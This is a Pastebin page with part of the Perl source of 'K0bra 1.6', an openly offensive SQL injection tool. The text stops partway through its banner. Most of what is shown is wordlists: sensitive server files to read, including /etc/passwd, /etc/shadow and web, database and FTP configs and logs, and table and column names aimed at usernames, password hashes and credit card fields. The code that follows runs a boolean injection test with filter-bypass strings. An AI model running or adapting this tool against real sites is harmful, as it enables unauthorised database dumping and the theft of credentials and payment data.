API tools faq
paste
Advertisement
Guest User

kobra 1.6

a guest
Jul 14th, 2012
260
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 59.66 KB | None | 0 0
raw download clone embed print report
  1. #!usr/bin/perl
  2. #K0bra 1.6
  3. #Coded By Doddy H
  4.  
  5. #The arrays are a collection of various tools I found on the web.
  6.  
  7. my @files = (
  8.     'C:/xampp/htdocs/aca.txt',
  9.     'C:/xampp/htdocs/aca.txt',
  10.     'C:/xampp/htdocs/admin.php',
  11.     'C:/xampp/htdocs/leer.txt',
  12.     '../../../boot.ini',
  13.     '../../../../boot.ini',
  14.     '../../../../../boot.ini',
  15.     '../../../../../../boot.ini',
  16.     '/etc/passwd',
  17.     '/etc/shadow',
  18.     '/etc/shadow~',
  19.     '/etc/hosts',
  20.     '/etc/motd',
  21.     '/etc/apache/apache.conf',
  22.     '/etc/fstab',
  23.     '/etc/apache2/apache2.conf',
  24.     '/etc/apache/httpd.conf',
  25.     '/etc/httpd/conf/httpd.conf',
  26.     '/etc/apache2/httpd.conf',
  27.     '/etc/apache2/sites-available/default',
  28.     '/etc/mysql/my.cnf',
  29.     '/etc/my.cnf',
  30.     '/etc/sysconfig/network-scripts/ifcfg-eth0',
  31.     '/etc/redhat-release',
  32.     '/etc/httpd/conf.d/php.conf',
  33.     '/etc/pam.d/proftpd',
  34.     '/etc/phpmyadmin/config.inc.php',
  35.     '/var/www/config.php',
  36.     '/etc/httpd/logs/error_log',
  37.     '/etc/httpd/logs/error.log',
  38.     '/etc/httpd/logs/access_log',
  39.     '/etc/httpd/logs/access.log',
  40.     '/var/log/apache/error_log',
  41.     '/var/log/apache/error.log',
  42.     '/var/log/apache/access_log',
  43.     '/var/log/apache/access.log',
  44.     '/var/log/apache2/error_log',
  45.     '/var/log/apache2/error.log',
  46.     '/var/log/apache2/access_log',
  47.     '/var/log/apache2/access.log',
  48.     '/var/www/logs/error_log',
  49.     '/var/www/logs/error.log',
  50.     '/var/www/logs/access_log',
  51.     '/var/www/logs/access.log',
  52.     '/usr/local/apache/logs/error_log',
  53.     '/usr/local/apache/logs/error.log',
  54.     '/usr/local/apache/logs/access_log',
  55.     '/usr/local/apache/logs/access.log',
  56.     '/var/log/error_log',
  57.     '/var/log/error.log',
  58.     '/var/log/access_log',
  59.     '/var/log/access.log',
  60.     '/etc/group',
  61.     '/etc/security/group',
  62.     '/etc/security/passwd',
  63.     '/etc/security/user',
  64.     '/etc/security/environ',
  65.     '/etc/security/limits',
  66.     '/usr/lib/security/mkuser.default',
  67.     '/apache/logs/access.log',
  68.     '/apache/logs/error.log',
  69.     '/etc/httpd/logs/acces_log',
  70.     '/etc/httpd/logs/acces.log',
  71.     '/var/log/httpd/access_log',
  72.     '/var/log/httpd/error_log',
  73.     '/apache2/logs/error.log',
  74.     '/apache2/logs/access.log',
  75.     '/logs/error.log',
  76.     '/logs/access.log',
  77.     '/usr/local/apache2/logs/access_log',
  78.     '/usr/local/apache2/logs/access.log',
  79.     '/usr/local/apache2/logs/error_log',
  80.     '/usr/local/apache2/logs/error.log',
  81.     '/var/log/httpd/access.log',
  82.     '/var/log/httpd/error.log',
  83.     '/opt/lampp/logs/access_log',
  84.     '/opt/lampp/logs/error_log',
  85.     '/opt/xampp/logs/access_log',
  86.     '/opt/xampp/logs/error_log',
  87.     '/opt/lampp/logs/access.log',
  88.     '/opt/lampp/logs/error.log',
  89.     '/opt/xampp/logs/access.log',
  90.     '/opt/xampp/logs/error.log',
  91.     'C:\ProgramFiles\ApacheGroup\Apache\logs\access.log',
  92.     'C:\ProgramFiles\ApacheGroup\Apache\logs\error.log',
  93.     '/usr/local/apache/conf/httpd.conf',
  94.     '/usr/local/apache2/conf/httpd.conf',
  95.     '/etc/apache/conf/httpd.conf',
  96.     '/usr/local/etc/apache/conf/httpd.conf',
  97.     '/usr/local/apache/httpd.conf',
  98.     '/usr/local/apache2/httpd.conf',
  99.     '/usr/local/httpd/conf/httpd.conf',
  100.     '/usr/local/etc/apache2/conf/httpd.conf',
  101.     '/usr/local/etc/httpd/conf/httpd.conf',
  102.     '/usr/apache2/conf/httpd.conf',
  103.     '/usr/apache/conf/httpd.conf',
  104.     '/usr/local/apps/apache2/conf/httpd.conf',
  105.     '/usr/local/apps/apache/conf/httpd.conf',
  106.     '/etc/apache2/conf/httpd.conf',
  107.     '/etc/http/conf/httpd.conf',
  108.     '/etc/httpd/httpd.conf',
  109.     '/etc/http/httpd.conf',
  110.     '/etc/httpd.conf',
  111.     '/opt/apache/conf/httpd.conf',
  112.     '/opt/apache2/conf/httpd.conf',
  113.     '/var/www/conf/httpd.conf',
  114.     '/private/etc/httpd/httpd.conf',
  115.     '/private/etc/httpd/httpd.conf.default',
  116.     '/Volumes/webBackup/opt/apache2/conf/httpd.conf',
  117.     '/Volumes/webBackup/private/etc/httpd/httpd.conf',
  118.     '/Volumes/webBackup/private/etc/httpd/httpd.conf.default',
  119.     'C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf',
  120.     'C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf',
  121.     'C:\ProgramFiles\xampp\apache\conf\httpd.conf',
  122.     '/usr/local/php/httpd.conf.php',
  123.     '/usr/local/php4/httpd.conf.php',
  124.     '/usr/local/php5/httpd.conf.php',
  125.     '/usr/local/php/httpd.conf',
  126.     '/usr/local/php4/httpd.conf',
  127.     '/usr/local/php5/httpd.conf',
  128.     '/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
  129.     '/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
  130.     '/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
  131.     '/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
  132.     '/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
  133.     '/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
  134.     '/usr/local/etc/apache/vhosts.conf',
  135.     '/etc/php.ini',
  136.     '/bin/php.ini',
  137.     '/etc/httpd/php.ini',
  138.     '/usr/lib/php.ini',
  139.     '/usr/lib/php/php.ini',
  140.     '/usr/local/etc/php.ini',
  141.     '/usr/local/lib/php.ini',
  142.     '/usr/local/php/lib/php.ini',
  143.     '/usr/local/php4/lib/php.ini',
  144.     '/usr/local/php5/lib/php.ini',
  145.     '/usr/local/apache/conf/php.ini',
  146.     '/etc/php4.4/fcgi/php.ini',
  147.     '/etc/php4/apache/php.ini',
  148.     '/etc/php4/apache2/php.ini',
  149.     '/etc/php5/apache/php.ini',
  150.     '/etc/php5/apache2/php.ini',
  151.     '/etc/php/php.ini',
  152.     '/etc/php/php4/php.ini',
  153.     '/etc/php/apache/php.ini',
  154.     '/etc/php/apache2/php.ini',
  155.     '/web/conf/php.ini',
  156.     '/usr/local/Zend/etc/php.ini',
  157.     '/opt/xampp/etc/php.ini',
  158.     '/var/local/www/conf/php.ini',
  159.     '/etc/php/cgi/php.ini',
  160.     '/etc/php4/cgi/php.ini',
  161.     '/etc/php5/cgi/php.ini',
  162.     'c:\php5\php.ini',
  163.     'c:\php4\php.ini',
  164.     'c:\php\php.ini',
  165.     'c:\PHP\php.ini',
  166.     'c:\WINDOWS\php.ini',
  167.     'c:\WINNT\php.ini',
  168.     'c:\apache\php\php.ini',
  169.     'c:\xampp\apache\bin\php.ini',
  170.     'c:\NetServer\bin\stable\apache\php.ini',
  171.     'c:\home2\bin\stable\apache\php.ini',
  172.     'c:\home\bin\stable\apache\php.ini',
  173.     '/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
  174.     '/usr/local/cpanel/logs',
  175.     '/usr/local/cpanel/logs/stats_log',
  176.     '/usr/local/cpanel/logs/access_log',
  177.     '/usr/local/cpanel/logs/error_log',
  178.     '/usr/local/cpanel/logs/license_log',
  179.     '/usr/local/cpanel/logs/login_log',
  180.     '/var/cpanel/cpanel.config',
  181.     '/var/log/mysql/mysql-bin.log',
  182.     '/var/log/mysql.log',
  183.     '/var/log/mysqlderror.log',
  184.     '/var/log/mysql/mysql.log',
  185.     '/var/log/mysql/mysql-slow.log',
  186.     '/var/mysql.log',
  187.     '/var/lib/mysql/my.cnf',
  188.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err',
  189.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log',
  190.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err',
  191.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log',
  192.     'C:\ProgramFiles\MySQL\data\hostname.err',
  193.     'C:\ProgramFiles\MySQL\data\mysql.log',
  194.     'C:\ProgramFiles\MySQL\data\mysql.err',
  195.     'C:\ProgramFiles\MySQL\data\mysql-bin.log',
  196.     'C:\MySQL\data\hostname.err',
  197.     'C:\MySQL\data\mysql.log',
  198.     'C:\MySQL\data\mysql.err',
  199.     'C:\MySQL\data\mysql-bin.log',
  200.     'C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini',
  201.     'C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf',
  202.     'C:\ProgramFiles\MySQL\my.ini',
  203.     'C:\ProgramFiles\MySQL\my.cnf',
  204.     'C:\MySQL\my.ini',
  205.     'C:\MySQL\my.cnf',
  206.     '/etc/logrotate.d/proftpd',
  207.     '/www/logs/proftpd.system.log',
  208.     '/var/log/proftpd',
  209.     '/etc/proftp.conf',
  210.     '/etc/protpd/proftpd.conf',
  211.     '/etc/vhcs2/proftpd/proftpd.conf',
  212.     '/etc/proftpd/modules.conf',
  213.     '/var/log/vsftpd.log',
  214.     '/etc/vsftpd.chroot_list',
  215.     '/etc/logrotate.d/vsftpd.log',
  216.     '/etc/vsftpd/vsftpd.conf',
  217.     '/etc/vsftpd.conf',
  218.     '/etc/chrootUsers',
  219.     '/var/log/xferlog',
  220.     '/var/adm/log/xferlog',
  221.     '/etc/wu-ftpd/ftpaccess',
  222.     '/etc/wu-ftpd/ftphosts',
  223.     '/etc/wu-ftpd/ftpusers',
  224.     '/usr/sbin/pure-config.pl',
  225.     '/usr/etc/pure-ftpd.conf',
  226.     '/etc/pure-ftpd/pure-ftpd.conf',
  227.     '/usr/local/etc/pure-ftpd.conf',
  228.     '/usr/local/etc/pureftpd.pdb',
  229.     '/usr/local/pureftpd/etc/pureftpd.pdb',
  230.     '/usr/local/pureftpd/sbin/pure-config.pl',
  231.     '/usr/local/pureftpd/etc/pure-ftpd.conf',
  232.     '/etc/pure-ftpd/pure-ftpd.pdb',
  233.     '/etc/pureftpd.pdb',
  234.     '/etc/pureftpd.passwd',
  235.     '/etc/pure-ftpd/pureftpd.pdb',
  236.     '/var/log/pure-ftpd/pure-ftpd.log',
  237.     '/logs/pure-ftpd.log',
  238.     '/var/log/pureftpd.log',
  239.     '/var/log/ftp-proxy/ftp-proxy.log',
  240.     '/var/log/ftp-proxy',
  241.     '/var/log/ftplog',
  242.     '/etc/logrotate.d/ftp',
  243.     '/etc/ftpchroot',
  244.     '/etc/ftphosts',
  245.     '/var/log/exim_mainlog',
  246.     '/var/log/exim/mainlog',
  247.     '/var/log/maillog',
  248.     '/var/log/exim_paniclog',
  249.     '/var/log/exim/paniclog',
  250.     '/var/log/exim/rejectlog',
  251.     '/var/log/exim_rejectlog'
  252. );
  253. my @buscar1 = (
  254.     'usuario',                 'web_users',
  255.     'name',                    'names',
  256.     'nombre',                  'nombres',
  257.     'usuarios',                'member',
  258.     'members',                 'admin_table',
  259.     'usuaris',                 'admin',
  260.     'tblUsers',                'tblAdmin',
  261.     'user',                    'users',
  262.     'username',                'usernames',
  263.     'web_usuarios',            'miembro',
  264.     'miembros',                'membername',
  265.     'admins',                  'administrator',
  266.     'sign',                    'config',
  267.     'USUARIS',                 'cms_operadores',
  268.     'administrators',          'passwd',
  269.     'password',                'passwords',
  270.     'pass',                    'Pass',
  271.     'mpn_authors',             'author',
  272.     'musuario',                'mysql.user',
  273.     'user_names',              'foro',
  274.     'tAdmin',                  'tadmin',
  275.     'user_password',           'user_passwords',
  276.     'user_name',               'member_password',
  277.     'mods',                    'mod',
  278.     'moderators',              'moderator',
  279.     'user_email',              'jos_users',
  280.     'mb_user',                 'host',
  281.     'apellido_nombre',         'user_emails',
  282.     'user_mail',               'user_mails',
  283.     'mail',                    'emails',
  284.     'email',                   'address',
  285.     'jos_usuarios',            'tutorial_user_auth',
  286.     'e-mail',                  'emailaddress',
  287.     'correo',                  'correos',
  288.     'phpbb_users',             'log',
  289.     'logins',                  'login',
  290.     'tbl_usuarios',            'user_auth',
  291.     'login_radio',             'registers',
  292.     'register',                'usr',
  293.     'usrs',                    'ps',
  294.     'pw',                      'un',
  295.     'u_name',                  'u_pass',
  296.     'tbl_admin',               'usuarios_head',
  297.     'tpassword',               'tPassword',
  298.     'u_password',              'nick',
  299.     'nicks',                   'manager',
  300.     'managers',                'administrador',
  301.     'BG_CMS_Users',            'tUser',
  302.     'tUsers',                  'administradores',
  303.     'clave',                   'login_id',
  304.     'pwd',                     'pas',
  305.     'sistema_id',              'foro_usuarios',
  306.     'cliente',                 'sistema_usuario',
  307.     'sistema_password',        'contrasena',
  308.     'auth',                    'key',
  309.     'senha',                   'signin',
  310.     'dir_admin',               'alias',
  311.     'clientes',                'tb_admin',
  312.     'tb_administrator',        'tb_login',
  313.     'tb_logon',                'tb_members_tb_member',
  314.     'calendar_users',          'cursos',
  315.     'tb_users',                'tb_user',
  316.     'tb_sys',                  'sys',
  317.     'fazerlogon',              'logon',
  318.     'fazer',                   'authorization',
  319.     'curso',                   'membros',
  320.     'utilizadores',            'staff',
  321.     'nuke_authors',            'accounts',
  322.     'account',                 'accnts',
  323.     'signup',                  'leads',
  324.     'lead',                    'associated',
  325.     'accnt',                   'customers',
  326.     'customer',                'membres',
  327.     'administrateur',          'utilisateur',
  328.     'riacms_users',            'tuser',
  329.     'tusers',                  'utilisateurs',
  330.     'amministratore',          'god',
  331.     'God',                     'authors',
  332.     'wp_users',                'tb_usuarios',
  333.     'asociado',                'asociados',
  334.     'autores',                 'autor',
  335.     'Users',                   'Admin',
  336.     'Members',                 'tb_usuario',
  337.     'Miembros',                'Usuario',
  338.     'Usuarios',                'ADMIN',
  339.     'USERS',                   'USER',
  340.     'MEMBER',                  'MEMBERS',
  341.     'USUARIO',                 'USUARIOS',
  342.     'MIEMBROS',                'MIEMBRO',
  343.     'USR_NAME',                'about',
  344.     'access',                  'admin_id',
  345.     'admin_name',              'admin_pass',
  346.     'admin_passwd',            'admin_password',
  347.     'admin_pwd',               'admin_user',
  348.     'admin_userid',            'admin_username',
  349.     'adminemail',              'adminid',
  350.     'administrator_name',      'adminlogin',
  351.     'adminmail',               'adminname',
  352.     'adminuser',               'adminuserid',
  353.     'adminusername',           'aid',
  354.     'aim',                     'apwd',
  355.     'auid',                    'authenticate',
  356.     'authentication',          'blog',
  357.     'cc_expires',              'cc_number',
  358.     'cc_owner',                'cc_type',
  359.     'cfg',                     'cid',
  360.     'clientname',              'clientpassword',
  361.     'clientusername',          'conf',
  362.     'contact',                 'converge_pass_hash',
  363.     'converge_pass_salt',      'crack',
  364.     'customers_email_address', 'customers_password',
  365.     'cvvnumber]',              'data',
  366.     'db_database_name',        'db_hostname',
  367.     'db_password',             'db_username',
  368.     'download',                'e_mail',
  369.     'emer',                    'emni',
  370.     'emniplote',               'emri',
  371.     'fjalekalimi',             'fjalekalimin',
  372.     'full',                    'gid',
  373.     'group',                   'group_name',
  374.     'hash',                    'hashsalt',
  375.     'homepage',                'icq',
  376.     'icq_number',              'id',
  377.     'id_group',                'id_member',
  378.     'images',                  'ime',
  379.     'index',                   'ip_address',
  380.     'kodi',                    'korisnici',
  381.     'korisnik',                'kpro_user',
  382.     'last_ip',                 'last_login',
  383.     'lastname',                'llogaria',
  384.     'login_admin',             'login_name',
  385.     'login_pass',              'login_passwd',
  386.     'login_password',          'login_pw',
  387.     'login_pwd',               'login_user',
  388.     'login_username',          'logini',
  389.     'loginkey',                'loginout',
  390.     'logo',                    'logohu',
  391.     'lozinka',                 'md5hash',
  392.     'mem_login',               'mem_pass',
  393.     'mem_passwd',              'mem_password',
  394.     'mem_pwd',                 'member_id',
  395.     'member_login_key',        'member_name',
  396.     'memberid',                'memlogin',
  397.     'mempassword',             'my_email',
  398.     'my_name',                 'my_password',
  399.     'my_username',             'myname',
  400.     'mypassword',              'myusername',
  401.     'nc',                      'new',
  402.     'news',                    'number',
  403.     'nummer',                  'p_assword',
  404.     'p_word',                  'pass_hash',
  405.     'pass_w',                  'pass_word',
  406.     'pass1word',               'passw',
  407.     'passwordsalt',            'passwort',
  408.     'passwrd',                 'perdorimi',
  409.     'perdoruesi',              'personal_key',
  410.     'phone',                   'privacy',
  411.     'psw',                     'punetoret',
  412.     'punonjes',                'pword',
  413.     'pwrd',                    'salt',
  414.     'search',                  'secretanswer',
  415.     'secretquestion',          'serial',
  416.     'session_member_id',       'session_member_login_key',
  417.     'sesskey',                 'setting',
  418.     'sid',                     'sifra',
  419.     'spacer',                  'status',
  420.     'store',                   'store1',
  421.     'store2',                  'store3',
  422.     'store4',                  'table_prefix',
  423.     'temp_pass',               'temp_password',
  424.     'temppass',                'temppasword',
  425.     'text',                    'uid',
  426.     'uname',                   'user_admin',
  427.     'user_icq',                'user_id',
  428.     'user_ip',                 'user_level',
  429.     'user_login',              'user_n',
  430.     'user_pass',               'user_passw',
  431.     'user_passwd',             'user_pw',
  432.     'user_pwd',                'user_pword',
  433.     'user_pwrd',               'user_un',
  434.     'user_uname',              'user_username',
  435.     'user_usernm',             'user_usernun',
  436.     'user_usrnm',              'user1',
  437.     'useradmin',               'userid',
  438.     'userip',                  'userlogin',
  439.     'usern',                   'usernm',
  440.     'userpass',                'userpassword',
  441.     'userpw',                  'userpwd',
  442.     'usr_n',                   'usr_name',
  443.     'usr_pass',                'usr2',
  444.     'usrn',                    'usrnam',
  445.     'usrname',                 'usrnm',
  446.     'usrpass',                 'warez',
  447.     'xar_name',                'xar_pass',
  448.     'nom dutilisateur',        'mot de passe',
  449.     'compte',                  'comptes',
  450.     'aide',                    'objectif',
  451.     'authentifier',            'authentification',
  452.     'Contact',                 'fissure',
  453.     'client',                  'clients',
  454.     'de donn?es',              'mot_de_passe_bdd',
  455.     't?l?charger',             'E-mail',
  456.     'adresse e-mail',          'Emer',
  457.     'complet',                 'groupe',
  458.     'hachage',                 'Page daccueil',
  459.     'Kodi',                    'nom',
  460.     'connexion',               'membre',
  461.     'MEMBERNAME',              'mon_mot_de_passe',
  462.     'monmotdepasse',           'ignatiusj',
  463.     'caroline-du-nord',        'nouveau',
  464.     'Nick',                    'passer',
  465.     'Passw',                   'Mot de passe',
  466.     't?l?phone',               'protection de la vie priv?e',
  467.     'PSW',                     'pWord',
  468.     'sel',                     'recherche',
  469.     'de s?rie',                'param?tre',
  470.     '?tat',                    'stocker',
  471.     'texte',                   'cvvnumber'
  472. );
  473. my @buscar2 = (
  474.     'name',                          'user',
  475.     'user_name',                     'user_username',
  476.     'uname',                         'user_uname',
  477.     'usern',                         'user_usern',
  478.     'un',                            'user_un',
  479.     'mail',                          'cliente',
  480.     'usrnm',                         'user_usrnm',
  481.     'usr',                           'admin_name',
  482.     'cla_adm',                       'usu_adm',
  483.     'fazer',                         'logon',
  484.     'fazerlogon',                    'authorization',
  485.     'membros',                       'utilizadores',
  486.     'sysadmin',                      'email',
  487.     'senha',                         'username',
  488.     'usernm',                        'user_usernm',
  489.     'nm',                            'user_nm',
  490.     'login',                         'u_name',
  491.     'nombre',                        'host',
  492.     'pws',                           'cedula',
  493.     'userName',                      'host_password',
  494.     'chave',                         'alias',
  495.     'apellido_nombre',               'cliente_nombre',
  496.     'cliente_email',                 'cliente_pass',
  497.     'cliente_user',                  'cliente_usuario',
  498.     'login_id',                      'sistema_id',
  499.     'author',                        'user_login',
  500.     'admin_user',                    'admin_pass',
  501.     'uh_usuario',                    'uh_password',
  502.     'psw',                           'host_username',
  503.     'sistema_usuario',               'auth',
  504.     'key',                           'usuarios_nombre',
  505.     'usuarios_nick',                 'usuarios_password',
  506.     'user_clave',                    'membername',
  507.     'nme',                           'unme',
  508.     'password',                      'user_password',
  509.     'autores',                       'pass_hash',
  510.     'hash',                          'pass',
  511.     'correo',                        'usuario_nombre',
  512.     'usuario_nick',                  'usuario_password',
  513.     'userpass',                      'user_pass',
  514.     'upw',                           'pword',
  515.     'user_pword',                    'passwd',
  516.     'user_passwd',                   'passw',
  517.     'user_passw',                    'pwrd',
  518.     'user_pwrd',                     'pwd',
  519.     'authors',                       'user_pwd',
  520.     'u_pass',                        'clave',
  521.     'usuario',                       'contrasena',
  522.     'pas',                           'sistema_password',
  523.     'autor',                         'upassword',
  524.     'web_password',                  'web_username',
  525.     'tbladmins',                     'sort',
  526.     '_wfspro_admin',                 '4images_users',
  527.     'a_admin',                       'account',
  528.     'accounts',                      'adm',
  529.     'admin',                         'admin_login',
  530.     'admin_userinfo',                'administer',
  531.     'administrable',                 'administrate',
  532.     'administration',                'administrator',
  533.     'administrators',                'adminrights',
  534.     'admins',                        'adminuser',
  535.     'art',                           'article_admin',
  536.     'articles',                      'artikel',
  537.     'ÃÜÂë',                          'aut',
  538.     'autore',                        'backend',
  539.     'backend_users',                 'backenduser',
  540.     'bbs',                           'book',
  541.     'chat_config',                   'chat_messages',
  542.     'chat_users',                    'client',
  543.     'clients',                       'clubconfig',
  544.     'company',                       'config',
  545.     'contact',                       'contacts',
  546.     'content',                       'control',
  547.     'cpg_config',                    'cpg132_users',
  548.     'customer',                      'customers',
  549.     'customers_basket',              'dbadmins',
  550.     'dealer',                        'dealers',
  551.     'diary',                         'download',
  552.     'Dragon_users',                  'e107.e107_user',
  553.     'e107_user',                     'forum.ibf_members',
  554.     'fusion_user_groups',            'fusion_users',
  555.     'group',                         'groups',
  556.     'ibf_admin_sessions',            'ibf_conf_settings',
  557.     'ibf_members',                   'ibf_members_converge',
  558.     'ibf_sessions',                  'icq',
  559.     'images',                        'index',
  560.     'info',                          'ipb.ibf_members',
  561.     'ipb_sessions',                  'joomla_users',
  562.     'jos_blastchatc_users',          'jos_comprofiler_members',
  563.     'jos_contact_details',           'jos_joomblog_users',
  564.     'jos_messages_cfg',              'jos_moschat_users',
  565.     'jos_users',                     'knews_lostpass',
  566.     'korisnici',                     'kpro_adminlogs',
  567.     'kpro_user',                     'links',
  568.     'login_admin',                   'login_admins',
  569.     'login_user',                    'login_users',
  570.     'logins',                        'logs',
  571.     'lost_pass',                     'lost_passwords',
  572.     'lostpass',                      'lostpasswords',
  573.     'm_admin',                       'main',
  574.     'mambo_session',                 'mambo_users',
  575.     'manage',                        'manager',
  576.     'mb_users',                      'member',
  577.     'memberlist',                    'members',
  578.     'minibbtable_users',             'mitglieder',
  579.     'movie',                         'movies',
  580.     'mybb_users',                    'mysql',
  581.     'mysql.user',                    'names',
  582.     'news',                          'news_lostpass',
  583.     'newsletter',                    'nuke_authors',
  584.     'nuke_bbconfig',                 'nuke_config',
  585.     'nuke_popsettings',              'nuke_users',
  586.     'Óû§',                          'obb_profiles',
  587.     'order',                         'orders',
  588.     'parol',                         'partner',
  589.     'partners',                      'passes',
  590.     'passwords',                     'perdorues',
  591.     'perdoruesit',                   'phorum_session',
  592.     'phorum_user',                   'phorum_users',
  593.     'phpads_clients',                'phpads_config',
  594.     'phpbb_users',                   'phpBB2.forum_users',
  595.     'phpBB2.phpbb_users',            'phpmyadmin.pma_table_info',
  596.     'pma_table_info',                'poll_user',
  597.     'punbb_users',                   'pwds',
  598.     'reg_user',                      'reg_users',
  599.     'registered',                    'reguser',
  600.     'regusers',                      'session',
  601.     'sessions',                      'settings',
  602.     'shop.cards',                    'shop.orders',
  603.     'site_login',                    'site_logins',
  604.     'sitelogin',                     'sitelogins',
  605.     'sites',                         'smallnuke_members',
  606.     'smf_members',                   'SS_orders',
  607.     'statistics',                    'superuser',
  608.     'sysadmins',                     'system',
  609.     'sysuser',                       'sysusers',
  610.     'table',                         'tables',
  611.     'tb_admin',                      'tb_administrator',
  612.     'tb_login',                      'tb_member',
  613.     'tb_members',                    'tb_user',
  614.     'tb_username',                   'tb_usernames',
  615.     'tb_users',                      'tbl',
  616.     'tbl_user',                      'tbl_users',
  617.     'tbluser',                       'tbl_clients',
  618.     'tbl_client',                    'tblclients',
  619.     'tblclient',                     'test',
  620.     'usebb_members',                 'user_admin',
  621.     'user_info',                     'user_list',
  622.     'user_logins',                   'user_names',
  623.     'usercontrol',                   'userinfo',
  624.     'userlist',                      'userlogins',
  625.     'usernames',                     'userrights',
  626.     'users',                         'vb_user',
  627.     'vbulletin_session',             'vbulletin_user',
  628.     'voodoo_members',                'webadmin',
  629.     'webadmins',                     'webmaster',
  630.     'webmasters',                    'webuser',
  631.     'webusers',                      'x_admin',
  632.     'xar_roles',                     'xoops_bannerclient',
  633.     'xoops_users',                   'yabb_settings',
  634.     'yabbse_settings',               'ACT_INFO',
  635.     'ActiveDataFeed',                'Category',
  636.     'CategoryGroup',                 'ChicksPass',
  637.     'ClickTrack',                    'Country',
  638.     'CountryCodes1',                 'CustomNav',
  639.     'DataFeedPerformance1',          'DataFeedPerformance2',
  640.     'DataFeedPerformance2_incoming', 'DataFeedShowtag1',
  641.     'DataFeedShowtag2',              'DataFeedShowtag2_incoming',
  642.     'dtproperties',                  'Event',
  643.     'Event_backup',                  'Event_Category',
  644.     'EventRedirect',                 'Events_new',
  645.     'Genre',                         'JamPass',
  646.     'MyTicketek',                    'MyTicketekArchive',
  647.     'News',                          'PerfPassword',
  648.     'PerfPasswordAllSelected',       'Promotion',
  649.     'ProxyDataFeedPerformance',      'ProxyDataFeedShowtag',
  650.     'ProxyPriceInfo',                'Region',
  651.     'SearchOptions',                 'Series',
  652.     'Sheldonshows',                  'StateList',
  653.     'States',                        'SubCategory',
  654.     'Subjects',                      'Survey',
  655.     'SurveyAnswer',                  'SurveyAnswerOpen',
  656.     'SurveyQuestion',                'SurveyRespondent',
  657.     'sysconstraints',                'syssegments',
  658.     'tblRestrictedPasswords',        'tblRestrictedShows',
  659.     'TimeDiff',                      'Titles',
  660.     'ToPacmail1',                    'ToPacmail2',
  661.     'UserPreferences',               'uvw_Category',
  662.     'uvw_Pref',                      'uvw_Preferences',
  663.     'Venue',                         'venues',
  664.     'VenuesNew',                     'X_3945',
  665.     'tblArtistCategory',             'tblArtists',
  666.     'tblConfigs',                    'tblLayouts',
  667.     'tblLogBookAuthor',              'tblLogBookEntry',
  668.     'tblLogBookImages',              'tblLogBookImport',
  669.     'tblLogBookUser',                'tblMails',
  670.     'tblNewCategory',                'tblNews',
  671.     'tblOrders',                     'tblStoneCategory',
  672.     'tblStones',                     'tblUser',
  673.     'tblWishList',                   'VIEW1',
  674.     'viewLogBookEntry',              'viewStoneArtist',
  675.     'vwListAllAvailable',            'CC_info',
  676.     'CC_username',                   'cms_user',
  677.     'cms_users',                     'cms_admin',
  678.     'cms_admins',                    'jos_user',
  679.     'table_user',                    'bulletin',
  680.     'cc_info',                       'login_name',
  681.     'admuserinfo',                   'userlistuser_list',
  682.     'SiteLogin',                     'Site_Login',
  683.     'UserAdmin',                     'Admins',
  684.     'Login',                         'Logins'
  685. );
  686.  
  687. use LWP::UserAgent;
  688. use URI::Split qw(uri_split);
  689.  
  690. installer();
  691.  
  692. my $nave = LWP::UserAgent->new();
  693. $nave->timeout(5);
  694. $nave->agent(
  695. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  696. );
  697.  
  698. clean();
  699.  
  700. &head;
  701. unless ( @ARGV == 2 ) {
  702.     &menu;
  703. }
  704. else {
  705.     &scan( $ARGV[0], $ARVG[1] );
  706. }
  707. &finish;
  708.  
  709. sub menu {
  710.     print "[Page] : ";
  711.     chomp( my $page = <STDIN> );
  712.     print "\n[Bypass : -- /* %20] : ";
  713.     chomp( my $bypass = <STDIN> );
  714.     print "\n\n";
  715.     &scan( $page, $bypass );
  716. }
  717.  
  718. sub scan {
  719.     my $page = $_[0];
  720.     print "[Status] : Scanning.....\n";
  721.     ( $pass1, $bypass2 ) = &bypass( $_[1] );
  722.  
  723.     my $save = partimealmedio( $_[0] );
  724.  
  725.     if ( $_[0] =~ /hackman/ig ) {
  726.         savefile( $save . ".txt", "\n[Target Confirmed] : $_[0]\n" );
  727.         &menu_options( $_[0], $_[1], $save );
  728.     }
  729.  
  730.     my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  731.     my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  732.  
  733.     unless ( $testar1 eq $testar2 ) {
  734.         motor( $page, $_[1] );
  735.     }
  736.     else {
  737.         print "\n[-] Not vulnerable\n\n";
  738.         print "[+] Scan anyway y/n : ";
  739.         chomp( my $op = <stdin> );
  740.         if ( $op eq "y" ) {
  741.             motor( $page, $_[1] );
  742.         }
  743.         else {
  744.             head();
  745.             menu();
  746.         }
  747.     }
  748.  
  749. }
  750.  
  751. sub motor {
  752.  
  753.     my ( $gen, $save, $control ) = &length( $_[0], $_[1] );
  754.  
  755.     if ( $control eq 1 ) {
  756.         print "[Status] : Enjoy the menu\n\n";
  757.         &menu_options( $gen, $_[1], $save );
  758.     }
  759.     else {
  760.         print "[Status] : Length columns not found\n\n";
  761.         <STDIN>;
  762.         &head;
  763.         &menu;
  764.     }
  765. }
  766.  
  767. sub head {
  768.     clean();
  769.     print qq(
  770.  
  771.  
  772.  @      @@   @            
  773. @@     @  @ @@            
  774.  @ @@  @  @  @ @   @ @ @@@
  775.  @ @   @  @  @@ @ @@@ @  @
  776.  @@    @  @  @  @  @   @@@
